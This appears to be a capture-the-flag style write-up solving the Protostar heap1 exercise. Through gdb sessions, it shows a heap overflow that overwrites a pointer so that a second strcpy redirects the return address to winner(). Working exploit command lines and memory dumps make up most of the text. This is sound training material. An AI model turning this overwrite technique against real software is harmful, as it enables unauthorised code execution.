Exploit Exercises — Protostar Heap 1
This level is different. Finding a vulnerability in the code is easy:
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
There are no buffer length checks. We can crash our program like this:
$ ./heap1 `python -c "print 'A'*30"` aaa
Segmentation fault
But when you use smaller input, it runs without any errors:
$ ./heap1 `python -c "print 'A'*20"` aaa
and that's a wrap folks!
Why is this hapenning? I started gdb
and overflowed the input by 1 byte:
(gdb) r `python -c "print 'A'*21"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*21"` aaa
Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8040041 <Address 0x8040041 out of bounds>, src=0xbffff899 "aaa")
at strcpy.c:40
40 strcpy.c: No such file or directory.
in strcpy.c
I noticed that there is 0x41
byte inside strcpy()
function. That looked strange, so I run the program again, but I overflowed it with 2 bytes this time:
(gdb) r `python -c "print 'A'*22"` aaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*22"` aaa
Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8004141 <Address 0x8004141 out of bounds>, src=0xbffff899 "aaa")
at strcpy.c:40
40 strcpy.c: No such file or directory.
in strcpy.c
Certainly, we are rewriting the address of a buffer in strcpy()
. Since the second parameter passed to the function is aaa
, it means that we are in the second strcpy()
function.
At this moment I realized how I can exploit this app. As we control which address is getting rewriten by the second strcpy()
writes, we can rewrite it by the return address from the stack. For example, the second strcpy()
can write the second input parameter into it. As a result, we can change the program flow.
Let’s examine the stack after the crash:
(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa
Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffff899 "aaa")
at strcpy.c:40
40 strcpy.c: No such file or directory.
in strcpy.c
(gdb) x/2x $esp
0xbffff640: 0x00000000 0x00000000
(gdb) x/20x $esp
0xbffff640: 0x00000000 0x00000000 0xbffff678 0x0804855a
0xbffff650: 0x41414141 0xbffff899 0x08048580 0xbffff678
0xbffff660: 0xb7ec6365 0x0804a008 0x0804a028 0xb7fd7ff4
0xbffff670: 0x08048580 0x00000000 0xbffff6f8 0xb7eadc76
0xbffff680: 0x00000003 0xbffff724 0xbffff734 0xb7fe1848
0x41414141
is the address of a buffer for strcpy()
. There’s 0xbffff899
after it, it’s an address of aaa
string (we can see it from the error). Before 0x41414141
there are two addresses. Probably it’s saved eip
and ebp
registers. Let’s look at registers:
(gdb) info registers
...
esp 0xbffff640 0xbffff640
ebp 0xbffff648 0xbffff648
...
eip 0xb7f09df4 0xb7f09df4 <*__GI_strcpy+20>
...
Our assumption is correct.
So we need to rewrite the address i2->name
by the address of the return address on the stack. We start rewriting after 20 byte and we know the address of the return address on the stack is 2 words ahead, so it is 0xbffff640 + 3*4 = 0xbffff64c
. Let’s try to rewrite i2->name
, run gdb
and set breakpoint on the second strcpy()
call:
(gdb) b* 0x08048555
Breakpoint 1 at 0x8048555: file heap1/heap1.c, line 32.
(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC
Breakpoint 1, 0x08048555 in main (argc=3, argv=0xbffff724) at heap1/heap1.c:32
32 in heap1/heap1.c
If we look at our stack, we can see that it was successfully rewritten by 0x43434343
(see the value on 0xbffff64c
memory address):
(gdb) s
...
(gdb) s
...
(gdb) x/24x $esp-12
0xbffff634: 0xb7ff6210 0xbffff87b 0xb7f09de0 0x00000000
0xbffff644: 0x00000000 0xbffff678 0x43434343 0xbffff64c
0xbffff654: 0xbffff894 0x08048580 0xbffff678 0xb7ec6365
0xbffff664: 0x0804a008 0x0804a028 0xb7fd7ff4 0x08048580
0xbffff674: 0x00000000 0xbffff6f8 0xb7eadc76 0x00000003
0xbffff684: 0xbffff724 0xbffff734 0xb7fe1848 0xbffff6e0
Now we need to replace the second parameter with the address of winner()
function. We can get the address of the function using readelf
:
$ readelf -Ws heap1 | grep winner
55: 08048494 37 FUNC GLOBAL DEFAULT 14 winner
Or from gdb
:
(gdb) print winner
$1 = {void (void)} 0x8048494 <winner>
Now we can run out exploit:
(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484241540
Program received signal SIGILL, Illegal instruction.
0xbffff602 in ?? ()
If we run it from console only, it won’t work because of environment variables. Let’s find the correct address:
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa
Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffffdb0 "aaa") at strcpy.c:40
40 strcpy.c: No such file or directory.
in strcpy.c
(gdb) x/8x $esp
0xbffffb60: 0x00000000 0x00000000 0xbffffb98 0x0804855a
0xbffffb70: 0x41414141 0xbffffdb0 0x08048580 0xbffffb98
Calculate the offset like before 0xbffffb60 + 12 = 0x0xbffffb6c
and run exploit in console:
$ /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x6c\xfb\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484242022
Segmentation fault